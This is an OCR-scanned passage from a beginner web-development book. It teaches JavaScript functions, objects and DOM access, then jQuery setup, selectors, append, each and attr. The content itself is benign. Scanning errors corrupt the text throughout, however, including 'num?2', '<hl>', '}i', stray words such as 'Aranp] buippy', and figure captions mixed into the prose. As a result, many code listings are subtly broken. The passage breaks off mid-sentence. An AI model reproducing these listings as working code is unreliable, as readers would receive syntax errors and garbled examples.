Adding function arguments

The power of functions comes with their capability to accept input, called
arguments, and then do something with that input.

For example, here’s a simple function to add two numbers:

function addNumbers (numl,num2) {
alert (numl+num?2) ;

}

This function accepts two arguments called numl and num?2. Those arguments
are then used within the alert () function. You've seen the alert ()
function throughout the chapter and now you understand a bit more about
what’s going on! The alert () function accepts one argument, the text to
display in the alert dialog. In this case, because you’re adding two numbers
the alert displays the resulting number. You work through an exercise for
this in the following section.

Calling a function

Just creating the function isn’t enough; you need to call it too. Calling a
function means that you execute it, just like when you called the alert ()
function earlier in this chapter. Until you call a function it doesn’t really do
anything, much like the alert () function doesn’t do anything until you
invoke it.



Figure 2-9:
Executing a
function.

Using Functions to Avoid Repeating Yourself 205

Calling one of your own functions looks just like the call to the alert ()
function. Here’s that exercise we promised. Begin by opening your text
editor with a new or blank document. In the text editor, place the following
HTML and JavaScript:

<!doctype html>

<html>

<head>

<title>JavaScript Chapter 2</title>
</head>

<body>

<hl>Here's another basic page</hl>
<script type="text/javascript'">

// Define the function
function addNumbers (numl,num2) {
alert (numl+num?2) ;

}

// Call the function
addNumbers (49, 2) ;

</script>
</body>
</html>

Save the file as func.html in your document root. Open your browser and
point to http://localhost/func.html. You should see an alert like the
one shown in Figure 2-9.

Message from webpage | 23

Improving the addNumbers function

The function that you've created, addNumbers (), accepts two arguments
and adds them. But what if you send in something that isn’t a number?

The function has no way to test that and so it happily tries to add them. To
experiment with this, change the 2 in the call to addNumbers to "two", like
this:
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addNumbers (49, "two") ;

When you reload the page, you’ll see an alert like the one in Figure 2-10.

Figure 2-10: | pessage from webpage [
Trying
to add
something
thatisn'ta
number.
JavaScript includes a function to test whether something is a number. The
function is called isNaN (), which stands for is not a number. This can be
added anywhere that you need to test to make sure something is a number
before working with it, like in the case of the addNumbers () function. You
use the 1sNaN () function within an if conditional and then react accordingly
if it isn’t a number. Here’s an updated addNumbers () function:
function addNumbers (numl,num2) {
if (isNaN (numl)) {
alert (numl + " is not a number");
} else if (isNaN(num2)) {
alert (num2 + " is not a number");
} else {
alert (numl+num?2) ;
}
}
If you call it with one of the two arguments as something other than a
number, you’ll receive an alert stating that. For example, if you changed the
number 2 to "two", you'd receive the alert shown in Figure 2-11.
Figure 2-11; | Moo femwebpnee =
An alert
generated I, twoisnotanumber
using
isNaN(). oK
BER
&

JavaScript is case sensitive, so you need to make sure you use isNaN () with
the correct case.
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You see variations on functions throughout the remainder of the book that
help build on this introduction.

Returning results from functions

The function that you created in this section sends an alert. But there are
times when you want to have the function send something back to you — to
do something and then return the results.

The return keyword is used to return results from a function. In the
addNumbers () function example shown, instead of using an alert () right
within the function you could return the result. Here’s an example:
function addNumbers (numl,num2) {
var result = numl+num?2;
return result;

}

You can call the function just like before, but you now need to capture the
result, typically into another variable, like this:

var myResult = addNumbers (49,2);

Listing 2-3 shows the full HTML for this example:

Listing 2-3: Returning a Value from a Function

<!doctype html>

<html>

<head>

<title>JavaScript Chapter 2</title>
</head>

<body>

<hl>Here's another basic page</hl>
<script type="text/javascript">

// Define the function

function addNumbers (numl,num2) {
var result = numl+num?2;
return result;

}

// Call the function
var myResult = addNumbers (49,2);

</script>
</body>
</html>
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Only one return is allowed from a function and nothing after the return
statement executes. Once you call a return, the function ends.

Objects in Brief

\\3

You've seen arrays and how they can be used to hold multiple values. Arrays
hold that data using an unseen numbered index. On the other hand, objects
can hold multiple values but those values are accessed through a named
index, called a property. Objects can actually do a lot more than this, such
as hold functions (called methods) but for this example, consider this narrow
focus, using an object to hold multiple values.

Creating objects

Here’s an example object for a ball:

var ball = {
"color": "white",
"type": "baseball"
}i

Whereas arrays are created with square brackets, objects are created with
curly braces, as shown in the example. When you define an object, you can
define one or more properties (akin to the elements in an array). In this
instance, you created two properties, one called color and one called type.
The values are then set to white and baseball, respectively.

You can access objects using a single dot, like so:

ball.color
The single dot is known as dot notation when used in this way.

Listing 2-4 shows HTML to create a ball object and display its color property.

Listing 2-4: Creating an Object and Displaying a Property

<!doctype html>
<html>
<head>
<title>JavaScript Chapter 2</title>
</head>
<body>
<hl>Here's another basic page</hl>
<script type="text/javascript">
var ball = {
"color": "white",
"type": "baseball"




Figure 2-12:
Displaying
an object
property.
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}i

alert (ball.color) ;
</script>
</body>
</html>

When viewed in a browser, you get an alert like the one shown in Figure 2-12.

tessage from webpage | E3

Adding properties to objects

Sometimes you want to add properties onto objects after they’ve been
created. This too can be done using dot notation, like so:

ball.weight = 15;

Here’s an exercise to create an object, add to it, and then loop through it
using a new kind of loop constructor. Begin by opening your text editor with
a new or blank document. In the text editor, place the following HTML and
JavaScript:

<!doctype html>
<html>
<head>
<title>JavaScript Chapter 2</title>
</head>
<body>
<hl>Here's another basic page</hl>
<script type="text/javascript">
var ball = {
"color": "white",
"type": "baseball"
Y

ball.weight = 15;

for (var prop in ball) {
alert (ball[prop]);
}
</script>
</body>
</html>
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Figure 2-13:
Three object

property
alerts.

Save this as obj .html in your document root. View the page in a browser
by going to http://localhost/obj.html. You should see three alerts,
like the ones in Figure 2-13.

hessage from webpage @

I . white

— The first property’s value

hessage from webpage @

. baseball y
! — The second property’s value

QK

Message from webpage @

boe —— The third property’s value

QK

As you can see from the alerts, the properties that were created right along
with the object are shown, as is the weight property that was added later
using the dot notation.

Later in this chapter, you see much more about objects, so this bit of
background will be helpful.

Working with HTML Documents

All this JavaScript programming gets put to practical use when you start
adding it to web pages. JavaScript integrates into HTML and has access to
everything in a web page. This means that you can add HTML to a page, take
it away, or change it, all on the fly, in real time.

In order to work together, JavaScript and HTML need a common language so
that JavaScript can know what to do on a page. JavaScript and HTML work
together through something called the Document Object Model (DOM). The
DOM gives JavaScript access to a web page so that it can manipulate the
page.


http://localhost/obj.html
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The connection between JavaScript and HTML is through the document
object. You see the document object used in this section along with other
functions to access pieces of a page using JavaScript. The document object
is actually a child of the window object and there are other children that are
interesting too, as you see later in this chapter.

Accessing HTML with JavaScript

You access parts of a web page, the document object, using JavaScript
functions. You can look at a piece of the page to see what text it has in it or
change the text in the page. You can also add to the page with JavaScript
and much more.

Using GetElementByld to access a specific element
The most specific way that you can access an element on a page is to use its
ID. Recall that ID attributes can be placed on any element, and they’re
(supposed to be) unique throughout the page. In this way, each element
that is already part of the DOM can be accessed directly rather than by
traversing the document tree.

Consider the HTML in Listing 2-5.

Listing 2-5: Basic HTML for Demonstrating the DOM

<!doctype html>
<html>
<head>
<title>Chapter 2</title>
</head>
<body>
<div id="myDiv">Hello</div>
<div class="divClass">Second Line</div>
<div class="divClass">
<p class="pClass">This is in a paragraph.</p>
</div>
<div class="divClass">Last Line</div>
</body>
</html>

That HTML, when viewed in a browser, creates a page like the one shown in
Figure 2-14.
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Hello
Second Line

This 1s i1 a paragraph.

Last Line

Figure 2-14:
Creating

a basic
page to
demonstrate
the DOM.

Looking at the HTML again, you can see an ID attribute on the first <div>
on the page. You can use the getElementById function to access that
element. You're saying, “Great, [ can access the element but what can I do
with it?” Glad you asked.

When you access an element, you view its current HTML or make changes
such as CSS styling or the actual contents of the element itself. Try it out in
an exercise.

1. Open your text editor with a new or blank document.

2. In the text editor, place the following HTML and JavaScript:

<!doctype html>
<html>
<head>
<title>Chapter 2</title>
</head>
<body>
<div id="myDiv">Hello</div>
<div class="divClass">Second Line</div>
<div class="divClass">
<p class="pClass">This is in a paragraph.</p>
</div>
<div class="divClass">Last Line</div>

<script type="text/javascript">
var theDiv = document.getElementById("myDiv") ;
alert ("The content is " + theDiv.innerHTML) ;
</script>

</body>
</html>



Figure 2-15:
An alert
produced
by the
getElement
Byld
function.
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3. Save the file as getbyid.html in your document root.

4. Open your web browser and view the page at http://localhost/
getbyid.html.

You should see an alert like the one shown in Figure 2-15.

Message from webpage @

I . The content is Hello

5. Click OK to dismiss the alert and close your browser.

6. Back within getbyid.html in your editor, remove the JavaScript line
that begins with alert (. Replace that line with these two:

theDiv.style.border = "3px solid black";
theDiv.innerHTML = "This is now changed text.";
The entire script block should now look like this:

<script type="text/javascript">
var theDiv = document.getElementById("myDiv") ;

theDiv.style.border = "3px solid black";
theDiv.innerHTML = "This is now changed text.";
</script>

When viewed in a browser, the page now looks like that in Figure 2-16.
Notice specifically that the text of the top line has been changed and now
has a border.

In this exercise, you created HTML and JavaScript. In the JavaScript, you
accessed an HTML element using the getElementById function. From
there you displayed it using an alert ().

The second part of the exercise saw you change the element’s contents
using innerHTML and also change the CSS style of the element using the
style.border property.
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Figure 2-16:
The page
after
changing

it with
getElement
Byld.
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Second Line
This 1s i1 a paragraph.

Last Line

You've now seen how to use getElementById as part of the DOM in
JavaScript, so check that one off of your bucket list. It’s good to have the
understanding that getElementById is there in case you need to work with
someone else’s JavaScript. However, there’s a better way to work with web
pages through JavaScript and it’s called jQuery. You learn about jQuery in the
next chapter of this minibook. For now, savor your victory over the DOM.

Working with Web Browsers

This JavaScript primer wraps up with a quick look at JavaScript’s view of the
web browser. As you just saw, when a page is loaded, the document object
gives a view of the page to JavaScript. Likewise, a couple other objects give
JavaScript a view of the web browser itself.

Using these objects, which are children of the window object, you can do
things like detect what type of browser the visitor is using and also redirect
the user to a different web page entirely.

Detecting the browser

The navigator object is used to detect things about the visitor’s browser,
like what version it is. This information can be used to present a specific
page or layout to the user.
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Limitations of browser detection

When you use a method like the one shown
here, you need to be aware that it isn’t always
accurate. Detecting the browser in this way
relies solely on what the browser claims that
it is and this information can be trivially faked

by the user. Therefore, when you use the
navigator object (or any other “User Agent
Sniffer”) method, you should be aware that
there are limitations to its accuracy and it is
definitely not 100% foolproof.

Listing 2-6 shows HTML and JavaScript to display the userAgent property
of the navigator object.

Listing 2-6: Displaying the User Agent

<!doctype html>

<html>

<head>

<title>Chapter 2</title>

</head>

<body>

<div id="output"></div>

<script type="text/javascript">
var outputDiv = document.getElementById("output");
outputDiv.style.border = "3px solid black";
outputDiv.style.padding = "3px";

var userAgent = navigator.userAgent;
outputDiv.innerHTML = "You are using " + userAgent;
</script>
</body>
</html>

When viewed in a browser, the output looks like that in Figure 2-17. Note
that if you run this code, your browser version will likely be different than
this.
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Figure 2-17:
Viewing the
userAgent
property.
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You are using Mozilla’5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0; SLCC2: NET CLR. 2.0.50727; NET CLR 3.5.30729: NET
CLR 3.0.30729; Media Center PC 6.0; NET4.0C; NET4.0E: InfoPath 3)

Redirecting to another page

You’ve probably encountered one somewhere along the way, a page

that says “Click here if you're not automatically redirected” and then
automatically redirects you anyway. Did you ever wonder why they bother
with the “Click here” part? That’s done in case your browser doesn’t have
JavaScript enabled. This section shows the code for such a page.

The 1ocation object provides the capability to redirect to another page,

and it’s one of the simplest JavaScript pages you'll ever write. Listing 2-7
shows the HTML and JavaScript.

Listing 2-7: A Redirect Page

<!doctype html>

<html>

<head>

<title>Chapter 2</title>

</head>

<body>

<div>
<a href="http://www.braingia.org"> Click here if
you're not automatically redirected...
</a>

</div>

<script type="text/javascript">
window.location.replace("http://www.braingia.org") ;

</script>

</body>

</html>



Figure 2-18:
The redirect
page just
prior to
being
redirected.
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A page viewed in a browser looks like the one in Figure 2-18, but only for a
short time. In fact, you may not even see it before being redirected!

oo
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Click here if vou're not automatically redirected..

The HTML for this page simply sets up a basic <a> element with a link, no
JavaScript necessary. Then the JavaScript uses the location.replace
object to send the user to a different page. Almost nothing to it!

There’s more to both the navigator and location objects in JavaScript.
For more information on the navigator object, go to this page on Mozilla
Developer Network:

https://developer.mozilla.org/en-US/docs/DOM/window.
navigator

For more information on the 1ocation object, see this page:

https://developer.mozilla.org/en-US/docs/DOM/window.
location
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Chapter 3: Adding jOuery

In This Chapter

+ Understanding what jQuery is
v~ Installing jQuery

v+~ Adding jQuery to a page

v+ Adding HTML with jQuery

v+~ Changing styles with jQuery

l Query is a JavaScript library. Okay, that might not make much sense.
What’s a JavaScript library? A JavaScript library is a collection of code
that you use when you want to get access to additional functionality or
make life easier. jQuery does both.

jQuery is simply JavaScript that you add to your web page to make writing
JavaScript easier. You still use JavaScript with jQuery, so everything you
learn in Chapter 2 is not wasted. However, there are certain things that
jQuery does much better than plain old JavaScript. Working with web pages
is one such thing. For instance, where you might use getElementById,
jQuery has things called selectors that enable much more powerful ways to
access things on a web page for JavaScript to use.

This chapter explains how to get started with jQuery and then shows some
examples using jQuery. Subsequent chapters in this minibook and indeed
in the entire book assume that you're using jQuery in certain places, as will
become obvious as you progress.

jOuery Introduced

jQuery is quite popular. Although there are no accurate statistics to show
how often jQuery is used, cursory glances at popular sites show that jQuery
is all over the web.

jQuery also makes cross-browser development easier. Though you haven’t
seen much of it so far (especially if you've been reading this book in linear
order), support for JavaScript differs widely from browser to browser and
from version to version. What works in Firefox might not work at all in
Internet Explorer or might work completely the opposite.
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A favorite example of how JavaScript support differs from browser to
browser involves the handling of dates. There is a certain JavaScript function
that returns the year. For example, assuming it’s 2008 when you call the
function, JavaScript is supposed to return 2008 — but that isn’t always the
case, depending on which browser you're using. When that function is used
in Firefox or Safari, you receive the full year, 2008, as you'd expect. When
you use JavaScript in Internet Explorer, you receive the number of years that
have elapsed since 1900. When the year is 2008, you’d receive 108 back from
Internet Explorer. Obviously if you're trying to do any sort of date calculation
with that value, it’s going to be wildly askew.

Which browser is right? It doesn’t really matter. What’s important is that the
browser manufacturers read the JavaScript specification differently and in
the end return different things for the same function.

Unfortunately, the date example is but one of many such examples (some
much more serious than that) where browsers differ in how they implement
JavaScript. The good news is that jQuery takes that complication away.
jQuery’s functions figure out what browser is being used in an accurate way
and then account for it in order to make the browser behave in a consistent
manner.

Installing jQuery

There are two ways to use jQuery, either downloaded locally or on a Content
Delivery Network (CDN). The local copy is just that, a file that sits within
your document root on your server’s hard drive. A CDN-hosted version
means that the jQuery file sits on someone else’s server and you just reference
it in your code.

Whether you use a local copy of a CDN is up to you. For production websites,
we strongly recommend using a local copy of jQuery for speed and reliability.
However, in development, like when you're following along in this book,

it’s okay to use the CDN version of jQuery. The book’s examples use a
CDN-hosted jQuery, but this section shows how to use both local and CDN.

Installing jQuery locally

jQuery is available as a download from www . jguery . com. Once there, select
the Production version and click Download. Depending on your browser’s
settings you may end up with a page full of JavaScript code. If that’s the
case, select Save As from the File menu. In other cases, you’ll simply be
prompted to download a file. In the end, you want to end up with a file
named like jquery-1.8.1.min. js, regardless of whether you save the file
or download it.


/\san\homedata\SteveDocs\Agency_And_Writing\webdevaio\tr\www.jquery.com
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The file should be placed into your document root. Remember the filename;
you’ll need it later.

That’s all there is to installing jQuery — download it and put the file into
your document root.

Using CDN-hosted jOuery

The CDN-hosted option for jQuery is great for development. You don’t
have to worry about downloading the file or putting it in the right place;
it’s always available (as long as the CDN is up). CDN-hosted versions are
available from many of the big-time players on the web, like Google and
Microsoft. You don’t need to download anything in order to use a CDN-
hosted jQuery, so this section is short and sweet. You can find the links for
the CDN-hosted versions at www. jquery.com/download

The next section shows how to add CDN-hosted jQuery to your page.

Adding jQuery to a Page

Now that you have jQuery downloaded or know where to find the CDN-hosted
version, you need to reference it in your page. jQuery is just like any external
JavaScript file which you see in Chapter 1 of this minibook. This section
shows how to add jQuery to your page both for locally hosted jQuery and
CDN-hosted jQuery.

Book IlI
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Adding local jOQuery to a page

In the preceding section, we instruct you to download jQuery and place it in
the web server’s document root. If you don’t remember the filename, locate
it in your document root. It’ll be named like jquery-1.8.1.min.js. (Note
that the version number will almost certainly be different by the time you
read this.)
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Adding jQuery to a page means adding an external script reference, like this:

<script type="text/javascript" src="jquery-1.8.l1-min.js"></
script>

That reference is usually added in the <head> portion of a page. Listing 3-1
shows a page with the jQuery script referenced in the <head> section.



222 Adding jOuery to a Page

Listing 3-1: Adding jQuery to a Page

<!doctype html>

<html>

<head>

<title>jQuery</title>

<script type="text/javascript"
src="jquery-1.8.1l.min.js"></script>

</head>

<body>

<hl>Adding jQuery</hl>

</body>

</html>

That’s all there is to adding jQuery. Later in this chapter, you find out what
to do now that it’s loaded.

Adding CDN jQuery to a page

Loading CDN-hosted jQuery is just like loading it locally, minus the part
where you have jQuery stored on your hard drive, of course. Other than that
detail, you simply add jQuery like any other external JavaScript file. Here’s
an example:

<script type="text/javascript"

src=" http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.8.1.min.
js">

</script>

But how do you find out the secret location where jQuery is hosted for
public use? Go to http://jquery.com/download and you can find a CDN-
hosted jQuery.

Within the Download page, you see a section for CDN-hosted jQuery. When
you find one you want to use, right-click and select the Copy Link Location
option or similar from the context menu in your browser. That will copy the
URL to your clipboard for later use.

A full page example with CDN-hosted jQuery looks strikingly similar to the
page for the locally hosted copy, only the src attribute has changed. Listing
3-2 shows the HTML and JavaScript; note specifically the <script> tagin
the <head> section.


http://jquery.com/download
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Listing 3-2: CDN-hosted jQuery

<!doctype html>

<html>

<head>

<title>jQuery</title>

<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">

</script>

</head>

<body>

<hl>Adding jQuery</hl>

</body>

</html>

Incorporating the jOuery ready () Function

A common problem when programming JavaScript is that the JavaScript

program will run before the page is loaded. The preceding chapter explains

that you can access HTML elements on a page. This means you can also

access things like images, forms, and whatever else you want, on a web

page. The problem comes in when you try to access something on the page

before the browser has it loaded. jQuery offers ways around this, which you Book Il
see in this section. Chapter 3

jQuery has a function called ready () that waits for the page to be, well,
ready. Not quite everything is available (for example, some images still may
be loading), but the HTML elements are ready to be worked with when the
ready () function is called.
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When you program with jQuery, it’s typical to place your code inside of the
ready () function so that you can ensure that all the stuff on the page is
ready for you to use in your program. Really, there’s not that much to this,
so try not to overthink it.

An example would help illustrate! Listing 3-3 shows an HTML page with
JavaScript inside of the jQuery ready () function.
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Listing 3-3: Using the jQuery ready() Function

<!doctype html>

<html>

<head>

<title>jQuery</title>

<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">

</script>

</head>

<body>

<hl>Adding jQuery</hl>

<script type="text/javascript">

$ (document) .ready (function() {

alert("hi");

P

</script>

</body>

</html>

When viewed through a browser, the result is an alert like the one in
Figure 3-1.

Figure 3-1:
An alert
produced by
the jQuery
ready()
function.

Message from webpage \EI

This code has two areas of interest. The first is the <script> element itself:

<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">

</script>

This includes jQuery from Microsoft’s CDN into the page.

The next area of interest is within the <body>, specifically, the <script>
within the body:

<script type="text/javascript">

$ (document) .ready (function () {
alert("hi");

}) i

</script>
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This code calls the jQuery ready () function, part of the document object.
Notice the special syntax with the dollar sign and parentheses. This is what
tells the browser and JavaScript that what follows is going to be jQuery, so
processing is handed over to jQuery. And because jQuery has a function
called ready (), it knows what to do.

WBER

You use $ () all over the place with jQuery; it’s what tells jQuery that it
should pay attention.

Inside of the jQuery ready () function there’s this code:

function() {
alert("hi");
}

You know all about functions already so this isn’t anything new. Or is it? If
this is a function, where’s the function name? For most uses of jQuery, you'll
see similar syntax to what you see here, with a function with no name like
this one and then code within it.

When you see this syntax, function (), with no name, it’s called an anonymous

function. For the most part, you don’t need to know much about anonymous

functions until you get much deeper into JavaScript programming. For what

you're doing here, just know that this is the typical syntax that you use when Book Il
you use jQuery. Chapter 3

Within the function an alert is displayed. No surprise here — it’s the standard
alert () function you’ve been using throughout the book. But what’s
happening here is important: You're using jQuery together with JavaScript
inside of the same script.
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Selecting Elements with jOQuery

The preceding section explains how to select the document object. It

also provides a great deal of how jQuery works. When you use the code

$ (document), you use something called a selector. Most of what you’ll do
in jQuery happens through selectors. For instance, you’'ll frequently select a
piece of a web page and then have jQuery perform an action on that piece of
the page. That action could be anything from adding text, changing HTML,
changing CSS or, well, just about anything you can think of!

The basic flow for JavaScript programming with jQuery is this:

1. Select an element on the web page (or the entire page itself).

2. Do something interesting with that element.



226 Selecting Elements with jQuery

¢MBER
S

Okay, what you do with the element doesn’t have to be interesting, but you
will do something with the selected element. That something can be anything
from removing the element to adding or changing it or simply getting
information from the element, like its text or current CSS styles.

JOuery selectors up close

There are three primary or basic selectors in jQuery. We call them primary
or basic because they’re the ones you'll use most frequently. You can set up
very complex selectors based on the structure of the page, but most often
you’ll use one of these three selectors:

4+ By class
4+ ByID
4+ By element

If you had some HTML that looked like this:

<p id="bookTitle">My Book</p>

You could access that with jQuery like this:

S ("#bookTitle")

It’s important to note that things in jQuery (and JavaScript) are case
sensitive. So booktitle is not the same as BOOKTITLE and not the same
as bookTitle. It doesn’t matter what case you use, as long as it matches
between the HTML and the JavaScript and jQuery.

Now take a look at this bit of HTML:

<p class="titleClass">This is some text</p>

The jQuery selector looks like this:

S(".titleClass")

If you think that these selectors look like their CSS counterparts, you're
right. Don’t worry if you weren’t thinking that; there won’t be a quiz.

In CSS, you access items by their ID with a pound sign (#) and you access
classes with a single dot (.):

#bookTitle
.titleClass
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All you’re doing for jQuery is wrapping it in the $ () construct and using
some quotes too. So you get this:

S ("#bookTitle")
S(".titleClass")

The other frequently used selector grabs all the elements of a certain type.
The following selector selects all <div> elements on the entire page:

$("diV")

There are more advanced selectors. For example, you can select by an
element’s position on the page and, well, just about any combination that
you can think of. But you’ll use these three most often and where you need
more, we'll show them to you.

Filtering

One additional thing you should know about jQuery selectors is that you can
filter them. This is particularly handy when it comes to working with forms
and events. With that in mind, we save the discussion of filtering until we get
to forms and events in the upcoming chapters.

Working with HTML Using jQuery Chapter 3

You can use jQuery to do all kinds of fun things with the HTML on a page
and we hint at some of those things, like adding HTML to a page or changing
text, and so on. It’s time to learn how to do it!

Adding HTML to a page

jQuery can be used to add HTML to a page. You can add all sorts of HTML,
images, just about anything, and completely change the layout of the page
using jQuery. Doing so isn’t really a good idea, though, because it can get
really, really confusing to figure out what’s coming from where and also
can be more difficult to maintain in the future when you need to change the

page.
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In any event, adding HTML for things like error messages or in order to add
data to a page is quite common. Think about a travel site that looks up flight
information. You click a button and it builds the results dynamically, right
on the same page. Those sites use JavaScript, many times jQuery, to
accomplish this feat. But before you go changing HTML you should learn
how to add HTML to a page.
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Figure 3-2:
A simple
page with a
list.

Listing 3-4 shows a simple HTML page that creates a list of items.

Listing 3-4: HTML with a List

<!doctype html>

<html>

<head>

<title>jQuery</title>

</head>

<body>

<hl>Adding HTML</hl>

<ul id="theList">
<li>Here's 1</1i>
<li>Here's 2</1li>

</ul>

</body>

</html>

A page viewed in a web browser looks like the one in Figure 3-2.
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Adding HTML

* Here's 1
* Here's 2

The page uses an unordered list with two items. You can add another item
to that list with the jQuery append () function. Doing so means selecting
the <ul> element, which you already know how to do, and then calling the
append () function. Here’s an example to add a third item to the list:

S("#theList") .append("<li>Here's 3</1i>");

As you can see, you select the <ul> element using an ID selector and then
call the append () function with the HTML to add. Doesn’t get much simpler

than that.



Figure 3-3:
Adding
HTML with
jQuery’s
append()
function.
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Listing 3-5 shows the final code. Note that jQuery has been added to it in the
<head> section and the append () function is within the ready () function,
as discussed earlier.

Listing 3-5: Adding an ltem with jQuery

<!doctype html>

<html>

<head>

<title>jQuery</title>

<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">

</script>

</head>

<body>

<hl>Adding HTML</hl>

<ul id="theList">
<li>Here's 1</1li>
<li>Here's 2</1i>

</ul>
<script type="text/javascript">
$ (document) .ready (function() {

S ("#theList") .append("<li>Here's 3</1i>");
)
</script>
</body>
</html>

When viewed in a browser, the result looks like Figure 3-3.
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Adding HTML

* Here's 1
« Here's 2

¢ Here's 3
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Changing elements

Adding with append () makes sense; you select the element that you want
and then append more HTML onto it. But what about when you want to
change something that already exists? There are a few ways to do it, depending
on what you want to change. For example, say you wanted to change the text
of the elements in the page that you just worked on.

Instead of having each element say “Here’s,” you want it to say “Item.” You
could add an ID to each element and then change the HTML with the htm1 ()
or the text () function. But that seems like a lot of work. And it creates
another problem if the HTML changes somewhere along the way.

Another way, and the way that we show, is to loop through each of the list
items and change them. The preceding chapter explains loops. jQuery has
its own way to loop, called each (). The each () loop method has an
advantage over the while and for loops: The each () function can be used
with jQuery so you get the full advantage of all the jQuery functions and you
can chain the each () function with other jQuery functions.

Chaining is the term used with jQuery to describe what you do when you
connect functions with dots in order to make the function apply to the chain.

We start this example with the HTML from Listing 3-5. In fact, we leave the
append () function in there to show that the change you’ll make applies not
only to the HTML that was originally on the page, but also to HTML that you
add.

Granted, with just two elements to change, you'd just do this in the HTML
itself, but this example shows the process and functions for changing HTML

so that you can use it when you really need it.

Listing 3-6 shows the HTML and JavaScript for this example.

Listing 3-6: Changing Text with each()

<!doctype html>

<html>

<head>

<title>jQuery</title>

<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">

</script>

</head>

<body>

<hl>Adding HTML</hl>

<ul id="theList">
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<li>Here's 1</1i>
<li>Here's 2</1i>

</ul>
<script type="text/javascript">
$ (document) .ready (function () {

$("#theList") .append("<li>Here's 3</1li>");
S("#theList 1i") .each(function() {
var existingText = $(this).text().substr(7,1);
$(this) .text("Item " + existingText);
1)
)i
</script>
</body>
</html>

The JavaScript and jQuery here shows a few new things, so look a bit closer
at the code.

The first line of the new code is this:
S ("#theList 1i").each(function() {

That line uses a selector to find all <1i> elements within the ID of theList.
That’s a little different than the other selectors you see in the chapter and
represents how jQuery can use the page’s hierarchy to access only the items
that you want.

The each () function is changed onto the selector and sets up an anonymous
function. At this point, you know that the code will begin looping through
each <1i> element within the ID of theList.

The next line of code looks like this:
var existingText = $(this).text().substr(7,1);

This code sets up a plain JavaScript variable, existingText, and sets it
equal to the result of $ (this) .text () .substr (7, 1).But what’s this, or
more appropriately, $ (this)? The special selector $ (this) refers to the
current element being worked on. JavaScript has an equivalent called this,
but you want the jQuery version, so you wrap it in the dollar sign/parentheses
notation.

The $ (this) selector is chained to the jQuery text () function, which
retrieves the elements text, with no HTML markup, just the text. The text ()
function is then chained to the substr () function. The substr () function
grabs a substring, or portion of a string, and returns it. In this case, you want
substr () to return to you one single character beginning at the seventh
position. You can do this because you know that every element begins with
the word Here' s followed by a space, like this:

Book IlI
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Figure 3-4:
Changing
textin a
web page
with jQuery.

Here's 1

Counting characters from the left, there are six characters in Here's

plus one character for the space. That makes seven, so you end up with
substr (7, 1). Granted, this breaks when you get to ten items because
you're only returning a single character. You could fancy this up by using
a regular expression, which you haven’t really spent time on yet, so for
this example, leave it as is. Okay, if you must know, you could replace the
substr () function with the match () function, and it would look like this:

var existingText = $(this).text().match(/[\d]/);

Back to reality and the example, the final line of code looks like this:
S(this) .text("Item " + existingText) ;

That line simply calls the text () function, but instead of returning text,
this time you setitto "Ttem " + existingText.Because you have
the number of the item in the variable existingText, it’s like you're

appending it.

A page viewed in a browser looks like that in Figure 3-4.
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Adding HTML

* Ttem 1
o Item 2
o Ttem 3

Changing Attributes and Styles

jQuery makes retrieving and setting HTML attributes and CSS styles easy.
This means you can change things like an image source or a CSS class or
even CSS styles themselves. This section looks at how to do just that.
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Reading attributes

Remember from way, way earlier in this book (provided you read earlier
chapters before this one), you learned that the descriptive stuff contained
inside of an HTML element is called an attribute. For example:

<a id="exLink" class="1link" href="http://www.example.com">Web
site</a>

The id, class, and href parts that you see in that <a> element are all
attributes. Using jQuery, you can find out the values for all those attributes,
and as you see later, you can set them too.

Reading an attribute with jQuery means using the attr () function. Listing

3-7 shows code using attr to read the href attribute from the link you just
saw.

Listing 3-7:  Using the attr() Function

<!doctype html>

<html>

<head>

<title>jQuery</title>

<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">

</script>

</head>

<body>

<hl>Attributes</hl>

<a id="exLink" class="link" href="http://www.example.com">Web
site</a>

<script type="text/javascript">

S (document) .ready (function () {

alert ($("#exLink") .attr ("href"));
Il
</script>
</body>
</html>

The bulk of the work is done on one line:
alert (S ("#exLink") .attr ("href"));
That line uses a selector to select the element with the ID of exLink and

then calls the attr () function with "href" as the argument. The result is
returned and placed in an alert (), shown in Figure 3-5.
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Message from webpage @
Figure 3-5:
ACCESSIng l http:ffanmw.example.com
the href
attribute.

Writing attributes

Just like the text () and html () functions, you can also set the value of an
attribute using the attr () function. For example, to change the value of the
href attribute from the code in Listing 3-7, you’d do this:

S ("#exLink") .attr("href", "http://www.braingia.org");
Images are added to a page by using the src attribute. This means that
you can change the src attribute to change the image, on the fly, through

JavaScript. Listing 3-8 contains HTML for a page. The HTML contains an
image that loads square. jpg.

Listing 3-8: A Page with an Image

<!doctype html>

<html>

<head>

<title>jQuery</title>

</head>

<body>

<hl>Attributes</hl>

<img alt="square" id="theImage" src="square.jpg" />
</body>

</html>

When viewed in a browser, the page looks like Figure 3-6.

You can change that image to a different one using the attr () function.
Listing 3-9 shows the code to achieve such a feat.
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Figure 3-6:
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asquare
image.

Listing 3-9: Changing an Image’s Source

<!doctype html>

<html>

<head>

<title>jQuery</title>

<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery- Book IlI
1.8.1.min.js"> Chapter 3

</script>

</head>

<body>

<hl>Attributes</hl>

<img alt="square" id="theImage" src="square.jpg" />

<script type="text/javascript">

$ (document) .ready (function() {
S ("#theImage") .attr("src", "heart.jpg") ;

Aranp] buippy

1)
</script>
</body>
</html>

Figure 3-7 shows the result.
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Figure 3-7:
Changing
the image
through
jQuery.
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Look closely at the HTML and you’ll see a problem. You've successfully
changed the src attribute, but the alt attribute still says that the image is a
square. You should change the alt attribute to match the image. Doing so is
as simple as calling attr () again, this time to set the alt attribute.

S ("#theImage") .attr("alt", "heart") ;
Because you never see the change, the code in Listing 3-9 might not seem
all that interesting. Do something to change that. Add a timer to delay the
switch. For this timer, use the native JavaScript function called setTimeout.
The setTimeout () function takes two arguments, the function to call when
the timer expires and how long to wait. The time value that you use is in

